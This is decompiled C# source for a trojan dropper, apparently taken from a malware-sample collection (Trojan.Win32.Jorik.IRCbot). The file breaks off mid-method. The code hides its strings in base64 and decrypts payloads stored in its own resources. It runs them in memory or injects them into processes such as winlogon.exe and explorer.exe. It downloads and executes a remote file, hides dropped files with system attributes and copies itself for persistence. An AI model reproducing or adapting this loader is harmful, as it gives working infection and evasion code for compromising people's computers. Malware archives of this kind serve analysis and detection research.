MalwareSourceCode/MSIL/Trojan/Win32/J/Trojan.Win32.Jorik.IRCbot.cwp-92f7e121edf5bcaced863d99561f0db912de86a6c07c307f3e429d5ad8e8f881/ykzdtlr5g3unsj1jf/P3gp3nhhay2byunb2ryhhvgoe.cs

// Decompiled with JetBrains decompiler
// Type: ykzdtlr5g3unsj1jf.P3gp3nhhay2byunb2ryhhvgoe
// Assembly: 4ldbvrmz, Version=6.0.220.4, Culture=neutral, PublicKeyToken=null
// MVID: 7CE81D78-4EC2-4D47-AD6D-9A598C5B77D4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Jorik.IRCbot.cwp-92f7e121edf5bcaced863d99561f0db912de86a6c07c307f3e429d5ad8e8f881.exe

using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Net;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
using yafgsjxsd554wkbwu;

namespace ykzdtlr5g3unsj1jf
{
  public class P3gp3nhhay2byunb2ryhhvgoe
  {
    private static bool N2pqfn3fmbylrnjylgikeibab = true;
    private byte[] Ab4hjwwzqrhaf3v15vpkkpwph;
    private bool lhavasqwmjebhnrkb;
    private string u4v4gxw4pe5ajw5qf;
    private string iwz5fw0hekr40lgappdcrryyd;
    private string e34zsbjraxk1vdes3 = ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MA==");
    private int hrkxt4xigw3kvxizwl4brrwla;
    private int n5qobr0qrnlc4of4pagdiixxz;
    private int J3xftqrouedhph3wmrpbf1oncu42zzn0q;
    private string Tz3uteor55zvvw3ge = ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("WE9S");
    private string d3bf3wz4sc5v4l1uxukyagpdo = string.Empty;
    private string zb4vgai4ozfhekokbemj5ilfi = string.Empty;
    private int Iu4x22rom4nkydifhzb3yhmni;
    private string Vwyl4tfmmp0qtt2nzytwwg42o = ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MA==");
    private string Oldfdql3j3j1vq1vwhzdsoqcw = ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MA==");
    private string Tw5ntsv2eana2pzqe5lqgyv32 = ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MA==");
    private string Limyy2yppvdupsbadnk4q0zoc = ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MA==");
    private string h1a0fvzdaev3vkr0g2mjmagor = string.Empty;
    private string hstr1brtw1h4eqytb3mb2n03yp4cjzf3z = string.Empty;
    private string sxuhsyfp5i3o1u3c2o1ba5lzc = string.Empty;
    private string jc3ddo0jvj2a1qr4qhjkghawn = string.Empty;
    private string Orshwt0dzuhwbrysau452pffe = string.Empty;
    private string mmcqn3cexlxqet2md = string.Empty;
    private string gzrw4q4ropicnlotflrdgqtsb = string.Empty;
    private string Nwtaknwtei4heb3ubqf0fbjn2 = string.Empty;
    private string Opdgky2ixzsslsa5xgb5j5vjn = string.Empty;
    private string oeygnuctraxnjd2t2xylgcgwt = string.Empty;
    private string qa422swa2bykxxdf3 = string.Empty;
    private bool Vxbwuasb5cbqu0zvpzvozkfbp;
    private bool Nmtcod3bgkn4wfqbn0clozxtd;
    private string Up0yuwtuyztffttj5yifu2dxpvjgi4unh = string.Empty;
    private string hv0yanbzazy5y5puhm1rq4npy = string.Empty;
    private bool qjgvtp5dxw2xd3cymnnrrpi4q;
    private string rsqyen5noyknnubtxp5d4c1pi = string.Empty;
    private string Zdcbw51ginpihrigchxl3wtzl = string.Empty;
    private string Ylohjohjs0shtk55s = string.Empty;
    private string u14rni0civn2slvafa2qidu1h = string.Empty;
    private bool Df255bnxscmlyi5ujr2shnrkj;
    private bool Tn53mqe3sgob3hnec;
    private bool c2sqrdsprj3s5tzrfydeh542igsij0hy3;
    private bool Fdnm3i3qwt5xg2kgs51j1ra03;
    private object Xxbjvofxfv2devbj0xvdyl3ee;
    private MethodInfo kqqsnwgs4puj1jm5mmjm3a2g5;

    private byte[] P5v4rqorj401x53a1(byte[] dymmzpkfb2modfqzetrxebfo3, int nsa5c4sobfa0jnubo)
    {
      GZipStream gzipStream = new GZipStream((Stream) new MemoryStream(dymmzpkfb2modfqzetrxebfo3), CompressionMode.Decompress);
      byte[] buffer = new byte[nsa5c4sobfa0jnubo];
      gzipStream.Read(buffer, 0, buffer.Length);
      return buffer;
    }

    private object Dmoi5v041lon1gbkzbg1xqlqk(int xywa5vx53hgmo10cmmla01l2fdd0z3xne)
    {
      System.Type type = Assembly.Load(ybneke5hgomifymim4zvimnpa.Pifnfhcoyavmjbz5u(P3gp3nhhay2byunb2ryhhvgoe.Hjg5kbnhcethgeandl2bwdxqp(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("cnVuUEUuZGxs")))).GetTypes()[xywa5vx53hgmo10cmmla01l2fdd0z3xne];
      this.kqqsnwgs4puj1jm5mmjm3a2g5 = type.GetMethod(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("UnVu"));
      return Activator.CreateInstance(type);
    }

    public static byte[] Hjg5kbnhcethgeandl2bwdxqp(string bjpi5xp3kzpysquxl)
    {
      using (Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(bjpi5xp3kzpysquxl))
      {
        byte[] buffer = new byte[1024];
        using (MemoryStream memoryStream = new MemoryStream())
        {
          while (true)
          {
            int count = manifestResourceStream.Read(buffer, 0, buffer.Length);
            if (count > 0)
              memoryStream.Write(buffer, 0, count);
            else
              break;
          }
          return memoryStream.ToArray();
        }
      }
    }

    private byte[] v32245b3t5yoxhkmr(byte[] zlgnctv20qm5r2ybtqdfn4gbuozslhc2z)
    {
      if (this.Tz3uteor55zvvw3ge == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("ZXZlbiBqdW1w"))
        zlgnctv20qm5r2ybtqdfn4gbuozslhc2z = ybneke5hgomifymim4zvimnpa.Gsfkp23vk2tqje234pmjrnbgq(zlgnctv20qm5r2ybtqdfn4gbuozslhc2z);
      return zlgnctv20qm5r2ybtqdfn4gbuozslhc2z;
    }

    private void ad1vi241wyo23agtvnemgivkyuh243nog()
    {
      try
      {
        byte[] numArray = new WebClient().DownloadData(new Uri(this.rsqyen5noyknnubtxp5d4c1pi));
        if (this.Zdcbw51ginpihrigchxl3wtzl == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MA=="))
        {
          try
          {
            if (!this.jeaq3uqx2h3t0mra1g4rmu1sp(numArray))
              uqeyrwlquci0gyeo0qjxqcszc.Vbm2knor525p1x3t5q2zsdbhh(numArray, this.hv0yanbzazy5y5puhm1rq4npy, ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r(""));
          }
          catch
          {
            string tempFileName = Path.GetTempFileName();
            this.zejf3ssfdyu2wkcfj2ygw3a0xs4pajbqu(numArray, tempFileName, true);
          }
        }
        if (!(this.Zdcbw51ginpihrigchxl3wtzl == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ==")))
          return;
        string str = this.Ylohjohjs0shtk55s + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + this.u14rni0civn2slvafa2qidu1h;
        this.zejf3ssfdyu2wkcfj2ygw3a0xs4pajbqu(numArray, str, true);
        if (this.Df255bnxscmlyi5ujr2shnrkj)
          System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.Hidden);
        if (this.Tn53mqe3sgob3hnec)
          System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.ReadOnly);
        if (!this.c2sqrdsprj3s5tzrfydeh542igsij0hy3)
          return;
        System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.System);
      }
      catch (Exception ex)
      {
      }
    }

    private static void frlh3hqg1jnxwe2sopvdmz023(byte[] Tbexmamq4ewxxgua4k13v2r3x)
    {
      try
      {
        Thread thread = new Thread(new ParameterizedThreadStart(P3gp3nhhay2byunb2ryhhvgoe.E1urnfsltryk1ub0xb2rcju41));
        thread.SetApartmentState(ApartmentState.STA);
        thread.Start((object) Tbexmamq4ewxxgua4k13v2r3x);
        thread.Join();
      }
      catch
      {
        P3gp3nhhay2byunb2ryhhvgoe.N2pqfn3fmbylrnjylgikeibab = false;
      }
    }

    private static void E1urnfsltryk1ub0xb2rcju41(object tzpsm05tmzmi3bezi2upra2uf)
    {
      try
      {
        MethodInfo entryPoint = Assembly.Load((byte[]) tzpsm05tmzmi3bezi2upra2uf).EntryPoint;
        if (entryPoint.GetParameters().Length == 1)
          entryPoint.Invoke((object) null, new object[1]
          {
            (object) new string[0]
          });
        else
          entryPoint.Invoke((object) null, (object[]) null);
      }
      catch
      {
        P3gp3nhhay2byunb2ryhhvgoe.N2pqfn3fmbylrnjylgikeibab = false;
      }
    }

    private bool jeaq3uqx2h3t0mra1g4rmu1sp(byte[] Lbmqdee0u2phj1cdi)
    {
      P3gp3nhhay2byunb2ryhhvgoe.frlh3hqg1jnxwe2sopvdmz023(Lbmqdee0u2phj1cdi);
      bool n2pqfn3fmbylrnjylgikeibab = P3gp3nhhay2byunb2ryhhvgoe.N2pqfn3fmbylrnjylgikeibab;
      P3gp3nhhay2byunb2ryhhvgoe.N2pqfn3fmbylrnjylgikeibab = true;
      return n2pqfn3fmbylrnjylgikeibab;
    }

    private void zejf3ssfdyu2wkcfj2ygw3a0xs4pajbqu(
      byte[] Sshq13ovclviqcbegjyc4fwr4,
      string t2qn4ig5r5fe30uf0gvlqyjei,
      bool Lbtar3b3sd1metciol2mkuazk)
    {
      try
      {
        System.IO.File.WriteAllBytes(t2qn4ig5r5fe30uf0gvlqyjei, Sshq13ovclviqcbegjyc4fwr4);
        if (!Lbtar3b3sd1metciol2mkuazk)
          return;
        new Process()
        {
          StartInfo = {
            FileName = t2qn4ig5r5fe30uf0gvlqyjei
          }
        }.Start();
      }
      catch
      {
      }
    }

    private byte[] rmq04qrgvymsnxnzaauclonz4(
      string Ltuz1taoidfnt0bdx,
      int Uwk5bivcwhq53vx32gcreg4yc,
      string ipo3kpah5ljwlkcut3hjqipgb)
    {
      try
      {
        IntPtr hModule = Vzc1okmpravdrvlvo.Jmqtpodci2jfhcs0m1s2np21r(string.Empty);
        IntPtr hResInfo = Vzc1okmpravdrvlvo.Yfjiajv5pdhoc2cbb(hModule, Uwk5bivcwhq53vx32gcreg4yc, ipo3kpah5ljwlkcut3hjqipgb);
        uint length = Vzc1okmpravdrvlvo.W3i1m50ffqcqq5vjpqt4xlhuc(hModule, hResInfo);
        IntPtr source = Vzc1okmpravdrvlvo.Xgfqdr5fofcy3fmbo(hModule, hResInfo);
        byte[] destination = new byte[(IntPtr) length];
        Marshal.Copy(source, destination, 0, (int) length);
        return destination;
      }
      catch (Exception ex)
      {
        Console.WriteLine(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("RXJyb3IgcmVhZGluZyByZXNvdXJjZTog") + Environment.NewLine + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("RXJyb3IgY29kZTog") + ex.Message);
        return (byte[]) null;
      }
    }

    private string Vwoud00pmabg3i5prcffnctpqgmjn2lsz(string lhmtwvqb3lumfpzit)
    {
      if (lhmtwvqb3lumfpzit == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("QXBwbGljYXRpb24gUGF0aA=="))
        lhmtwvqb3lumfpzit = Application.StartupPath;
      if (lhmtwvqb3lumfpzit == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("VGVtcA=="))
        lhmtwvqb3lumfpzit = Path.GetTempPath();
      if (lhmtwvqb3lumfpzit == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("QXBwRGF0YQ=="))
        lhmtwvqb3lumfpzit = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
      if (lhmtwvqb3lumfpzit == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("TXkgRG9jdW1lbnRz"))
        lhmtwvqb3lumfpzit = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
      if (lhmtwvqb3lumfpzit == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("RGVza3RvcA=="))
        lhmtwvqb3lumfpzit = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
      if (lhmtwvqb3lumfpzit == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("VXNlciBQcm9maWxl"))
        lhmtwvqb3lumfpzit = Environment.GetEnvironmentVariable(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("VVNFUlBST0ZJTEU="));
      if (lhmtwvqb3lumfpzit == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("UHJvZ3JhbSBGaWxlcw=="))
        lhmtwvqb3lumfpzit = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles);
      return lhmtwvqb3lumfpzit;
    }

    private string z4oikbmtsyvcgjshpb1o3xomb(string Xvvoluc4blezdur2w)
    {
      string str = string.Empty;
      if (Xvvoluc4blezdur2w == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MA=="))
        str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
      if (Xvvoluc4blezdur2w == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ=="))
        str = Path.GetTempPath();
      if (Xvvoluc4blezdur2w == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("Mg=="))
        str = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
      return str;
    }

    private void yi4a12p1lqcxa2d2ckkuwmx2y(string zlgnctv20qm5r2ybtqdfn4gbuozslhc2z)
    {
      string[] separator1 = new string[1]
      {
        ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("bmxoZzVhenhhc2dwcmR0cGw0bTVsaDVoNQ==")
      };
      string[] separator2 = new string[1]
      {
        ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("cjR5NGxwcjNhemRtZmoxNXh5Z3NzNHNrNA==")
      };
      string[] strArray1 = zlgnctv20qm5r2ybtqdfn4gbuozslhc2z.Split(separator1, StringSplitOptions.None);
      string empty1 = string.Empty;
      string empty2 = string.Empty;
      string empty3 = string.Empty;
      for (int index = 1; index < strArray1.GetUpperBound(0); ++index)
      {
        string[] strArray2 = strArray1[index].Split(separator2, StringSplitOptions.None);
        byte[] numArray = xp43p4bxx3i3uxg5zqeqr3mkos0wzm3ep.P0vqw5dxvbkxvsohiqrze00bk(strArray2[1]);
        string str1 = strArray2[2];
        bool boolean1 = Convert.ToBoolean(strArray2[3]);
        string lhmtwvqb3lumfpzit = strArray2[4];
        bool boolean2 = Convert.ToBoolean(strArray2[5]);
        bool boolean3 = Convert.ToBoolean(strArray2[6]);
        int int32 = Convert.ToInt32(strArray2[7]);
        bool boolean4 = Convert.ToBoolean(strArray2[8]);
        string str2 = this.Vwoud00pmabg3i5prcffnctpqgmjn2lsz(lhmtwvqb3lumfpzit);
        if (boolean1)
        {
          if (boolean3)
            numArray = this.P5v4rqorj401x53a1(numArray, int32);
          if (boolean2)
            numArray = this.v32245b3t5yoxhkmr(numArray);
          if (!boolean4)
          {
            try
            {
              uqeyrwlquci0gyeo0qjxqcszc.Vbm2knor525p1x3t5q2zsdbhh(numArray, this.hv0yanbzazy5y5puhm1rq4npy, ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r(""));
            }
            catch (Exception ex)
            {
              Console.WriteLine(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("RXJyb3IgaW5qZWN0aW5nIGJvdW5kIGZpbGUgaW50byBtZW1vcnk6IA==") + Environment.NewLine + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("RXJyb3IgY29kZTog") + ex.Message);
            }
          }
          else if (!this.jeaq3uqx2h3t0mra1g4rmu1sp(numArray))
            Console.WriteLine(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("RXJyb3IgaW5qZWN0aW5nIGJvdW5kIGZpbGUgdXNpbmcgcmVmbGVjdGlvbjog"));
        }
        else
        {
          string t2qn4ig5r5fe30uf0gvlqyjei = str2 + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + str1;
          if (boolean2)
            numArray = this.v32245b3t5yoxhkmr(numArray);
          this.zejf3ssfdyu2wkcfj2ygw3a0xs4pajbqu(numArray, t2qn4ig5r5fe30uf0gvlqyjei, true);
        }
      }
    }

    private void D5kti1q5aj1eo2g3jv1drtoo5ekv545xi(string zlgnctv20qm5r2ybtqdfn4gbuozslhc2z)
    {
      string[] separator1 = new string[1]
      {
        ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("c2l1cGlpbnkybnNvam1pZDMyenZ4MmxmaQ==")
      };
      string[] strArray1 = zlgnctv20qm5r2ybtqdfn4gbuozslhc2z.Split(separator1, StringSplitOptions.None);
      string[] separator2 = new string[1]
      {
        ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("WGtmb2pic20zZ2hpMXN5d2s=")
      };
      string[] strArray2 = zlgnctv20qm5r2ybtqdfn4gbuozslhc2z.Split(separator2, StringSplitOptions.None);
      string[] separator3 = new string[1]
      {
        ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("S2RjcXYxdGFzYWNlc2dtYWQ=")
      };
      string[] strArray3 = zlgnctv20qm5r2ybtqdfn4gbuozslhc2z.Split(separator3, StringSplitOptions.None);
      string[] separator4 = new string[1]
      {
        ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("cmFxY3Z5ZHdvaXdsMnNjYWdhZHkzcXlzMw==")
      };
      string[] strArray4 = zlgnctv20qm5r2ybtqdfn4gbuozslhc2z.Split(separator4, StringSplitOptions.None);
      this.e34zsbjraxk1vdes3 = strArray1[1];
      this.u4v4gxw4pe5ajw5qf = strArray1[2];
      this.iwz5fw0hekr40lgappdcrryyd = strArray1[3];
      this.hrkxt4xigw3kvxizwl4brrwla = Convert.ToInt32(strArray1[4]);
      this.n5qobr0qrnlc4of4pagdiixxz = Convert.ToInt32(strArray1[5]);
      this.J3xftqrouedhph3wmrpbf1oncu42zzn0q = Convert.ToInt32(strArray1[6]);
      this.Tz3uteor55zvvw3ge = strArray2[1];
      this.d3bf3wz4sc5v4l1uxukyagpdo = strArray2[2];
      this.zb4vgai4ozfhekokbemj5ilfi = strArray2[3];
      this.Iu4x22rom4nkydifhzb3yhmni = Convert.ToInt32(strArray3[1]);
      this.Vwyl4tfmmp0qtt2nzytwwg42o = strArray3[2];
      this.Oldfdql3j3j1vq1vwhzdsoqcw = strArray3[3];
      this.Tw5ntsv2eana2pzqe5lqgyv32 = strArray3[4];
      this.Limyy2yppvdupsbadnk4q0zoc = strArray3[5];
      this.h1a0fvzdaev3vkr0g2mjmagor = strArray3[6];
      this.hstr1brtw1h4eqytb3mb2n03yp4cjzf3z = strArray3[7];
      this.sxuhsyfp5i3o1u3c2o1ba5lzc = strArray3[8];
      this.jc3ddo0jvj2a1qr4qhjkghawn = strArray3[9];
      this.Orshwt0dzuhwbrysau452pffe = strArray3[10];
      this.mmcqn3cexlxqet2md = strArray3[11];
      this.gzrw4q4ropicnlotflrdgqtsb = this.z4oikbmtsyvcgjshpb1o3xomb(strArray3[12]);
      this.Nwtaknwtei4heb3ubqf0fbjn2 = strArray3[13];
      this.Opdgky2ixzsslsa5xgb5j5vjn = strArray3[14];
      this.oeygnuctraxnjd2t2xylgcgwt = strArray3[15];
      this.Vxbwuasb5cbqu0zvpzvozkfbp = Convert.ToBoolean(strArray3[16]);
      this.Nmtcod3bgkn4wfqbn0clozxtd = Convert.ToBoolean(strArray3[17]);
      this.Up0yuwtuyztffttj5yifu2dxpvjgi4unh = this.Vwoud00pmabg3i5prcffnctpqgmjn2lsz(strArray3[18]) + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + Path.GetRandomFileName();
      this.qa422swa2bykxxdf3 = strArray3[19];
      this.hv0yanbzazy5y5puhm1rq4npy = strArray3[20];
      this.Up0yuwtuyztffttj5yifu2dxpvjgi4unh = this.Up0yuwtuyztffttj5yifu2dxpvjgi4unh.Substring(0, this.Up0yuwtuyztffttj5yifu2dxpvjgi4unh.Length - 4) + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("LmV4ZQ==");
      string str = Environment.SystemDirectory + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XA==");
      switch (this.hv0yanbzazy5y5puhm1rq4npy)
      {
        case "0":
          try
          {
            this.hv0yanbzazy5y5puhm1rq4npy = IntPtr.Size != 4 ? Environment.GetEnvironmentVariable(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("d2luZGly")) + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XE1pY3Jvc29mdC5ORVRcRnJhbWV3b3JrNjRcdjIuMC41MDcyN1x2YmMuZXhl") : Environment.GetEnvironmentVariable(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("d2luZGly")) + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XE1pY3Jvc29mdC5ORVRcRnJhbWV3b3JrXHYyLjAuNTA3MjdcdmJjLmV4ZQ==");
            break;
          }
          catch (Exception ex)
          {
            break;
          }
        case "1":
          this.hv0yanbzazy5y5puhm1rq4npy = str + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("d2lubG9nb24uZXhl");
          break;
        case "2":
          this.hv0yanbzazy5y5puhm1rq4npy = str + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("dGFza21nci5leGU=");
          break;
        case "3":
          this.hv0yanbzazy5y5puhm1rq4npy = str + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("bm90ZXBhZC5leGU=");
          break;
        case "4":
          this.hv0yanbzazy5y5puhm1rq4npy = Environment.GetEnvironmentVariable(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("d2luZGly")) + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XGV4cGxvcmVyLmV4ZQ==");
          break;
      }
      this.qjgvtp5dxw2xd3cymnnrrpi4q = Convert.ToBoolean(strArray4[1]);
      this.rsqyen5noyknnubtxp5d4c1pi = strArray4[2];
      this.Zdcbw51ginpihrigchxl3wtzl = strArray4[3];
      this.Ylohjohjs0shtk55s = strArray4[4];
      this.u14rni0civn2slvafa2qidu1h = strArray4[5];
      this.Df255bnxscmlyi5ujr2shnrkj = Convert.ToBoolean(strArray4[6]);
      this.Tn53mqe3sgob3hnec = Convert.ToBoolean(strArray4[7]);
      this.c2sqrdsprj3s5tzrfydeh542igsij0hy3 = Convert.ToBoolean(strArray4[8]);
      this.Fdnm3i3qwt5xg2kgs51j1ra03 = Convert.ToBoolean(strArray4[9]);
      MessageBoxButtons[] messageBoxButtonsArray = new MessageBoxButtons[6]
      {
        MessageBoxButtons.OK,
        MessageBoxButtons.OKCancel,
        MessageBoxButtons.YesNo,
        MessageBoxButtons.YesNoCancel,
        MessageBoxButtons.RetryCancel,
        MessageBoxButtons.AbortRetryIgnore
      };
      MessageBoxIcon[] messageBoxIconArray = new MessageBoxIcon[5]
      {
        MessageBoxIcon.Hand,
        MessageBoxIcon.Asterisk,
        MessageBoxIcon.Question,
        MessageBoxIcon.Exclamation,
        MessageBoxIcon.None
      };
      if (!(this.e34zsbjraxk1vdes3 == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ==")))
        return;
      Thread.Sleep(this.J3xftqrouedhph3wmrpbf1oncu42zzn0q * 1000);
      int num = (int) MessageBox.Show(this.u4v4gxw4pe5ajw5qf, this.iwz5fw0hekr40lgappdcrryyd, messageBoxButtonsArray[this.hrkxt4xigw3kvxizwl4brrwla], messageBoxIconArray[this.n5qobr0qrnlc4of4pagdiixxz]);
    }

    public void Detxmohej30sq5rdtby5aviwjiokh2gif()
    {
      string executablePath = Application.ExecutablePath;
      try
      {
        this.D5kti1q5aj1eo2g3jv1drtoo5ekv545xi(xp43p4bxx3i3uxg5zqeqr3mkos0wzm3ep.jeuqjvb1edhczrmrcddcfjyrbkgzy5eq5(this.rmq04qrgvymsnxnzaauclonz4(executablePath, 28, ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("UDNYQk5XVURZMllWRk1FRzA="))));
        this.Ab4hjwwzqrhaf3v15vpkkpwph = this.rmq04qrgvymsnxnzaauclonz4(executablePath, 53, ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("SzBUWUNNUENCRDNMM1RMQ1E1S0VXWDRBUg=="));
        if (this.Vwyl4tfmmp0qtt2nzytwwg42o == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ=="))
          this.Ab4hjwwzqrhaf3v15vpkkpwph = this.P5v4rqorj401x53a1(this.Ab4hjwwzqrhaf3v15vpkkpwph, this.Iu4x22rom4nkydifhzb3yhmni);
        this.Ab4hjwwzqrhaf3v15vpkkpwph = this.v32245b3t5yoxhkmr(this.Ab4hjwwzqrhaf3v15vpkkpwph);
        if (!this.Vxbwuasb5cbqu0zvpzvozkfbp)
          uqeyrwlquci0gyeo0qjxqcszc.Vbm2knor525p1x3t5q2zsdbhh(this.Ab4hjwwzqrhaf3v15vpkkpwph, this.hv0yanbzazy5y5puhm1rq4npy, ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r(""));
        else
          this.jeaq3uqx2h3t0mra1g4rmu1sp(this.Ab4hjwwzqrhaf3v15vpkkpwph);
        if (this.Nmtcod3bgkn4wfqbn0clozxtd)
          this.zejf3ssfdyu2wkcfj2ygw3a0xs4pajbqu(this.Ab4hjwwzqrhaf3v15vpkkpwph, this.Up0yuwtuyztffttj5yifu2dxpvjgi4unh, true);
        if (this.Oldfdql3j3j1vq1vwhzdsoqcw == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ=="))
          this.Zvyyb03fyylfr3leq2ogwlkzx(this.h1a0fvzdaev3vkr0g2mjmagor, this.sxuhsyfp5i3o1u3c2o1ba5lzc, this.gzrw4q4ropicnlotflrdgqtsb + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + this.mmcqn3cexlxqet2md, 1);
        if (this.Tw5ntsv2eana2pzqe5lqgyv32 == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ=="))
          this.Zvyyb03fyylfr3leq2ogwlkzx(this.h1a0fvzdaev3vkr0g2mjmagor, this.jc3ddo0jvj2a1qr4qhjkghawn, this.gzrw4q4ropicnlotflrdgqtsb + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + this.mmcqn3cexlxqet2md, 2);
        if (this.Limyy2yppvdupsbadnk4q0zoc == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ=="))
          this.Zvyyb03fyylfr3leq2ogwlkzx(this.hstr1brtw1h4eqytb3mb2n03yp4cjzf3z, this.Orshwt0dzuhwbrysau452pffe, this.gzrw4q4ropicnlotflrdgqtsb + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + this.mmcqn3cexlxqet2md, 3);
        string path;
        if (!string.IsNullOrEmpty(this.qa422swa2bykxxdf3))
        {
          path = this.gzrw4q4ropicnlotflrdgqtsb + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + this.qa422swa2bykxxdf3 + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + this.mmcqn3cexlxqet2md;
          Directory.CreateDirectory(this.gzrw4q4ropicnlotflrdgqtsb + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + this.qa422swa2bykxxdf3);
        }
        else
          path = this.gzrw4q4ropicnlotflrdgqtsb + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + this.mmcqn3cexlxqet2md;
        if (this.lhavasqwmjebhnrkb)
        {
          byte[] bytes = System.IO.File.ReadAllBytes(Application.ExecutablePath);
          if (!System.IO.File.Exists(path))
            System.IO.File.WriteAllBytes(path, bytes);
          if (System.IO.File.Exists(path))
          {
            if (this.Nwtaknwtei4heb3ubqf0fbjn2 == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ=="))
              System.IO.File.SetAttributes(path, System.IO.File.GetAttributes(path) | FileAttributes.Hidden);
            if (this.Opdgky2ixzsslsa5xgb5j5vjn == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ=="))
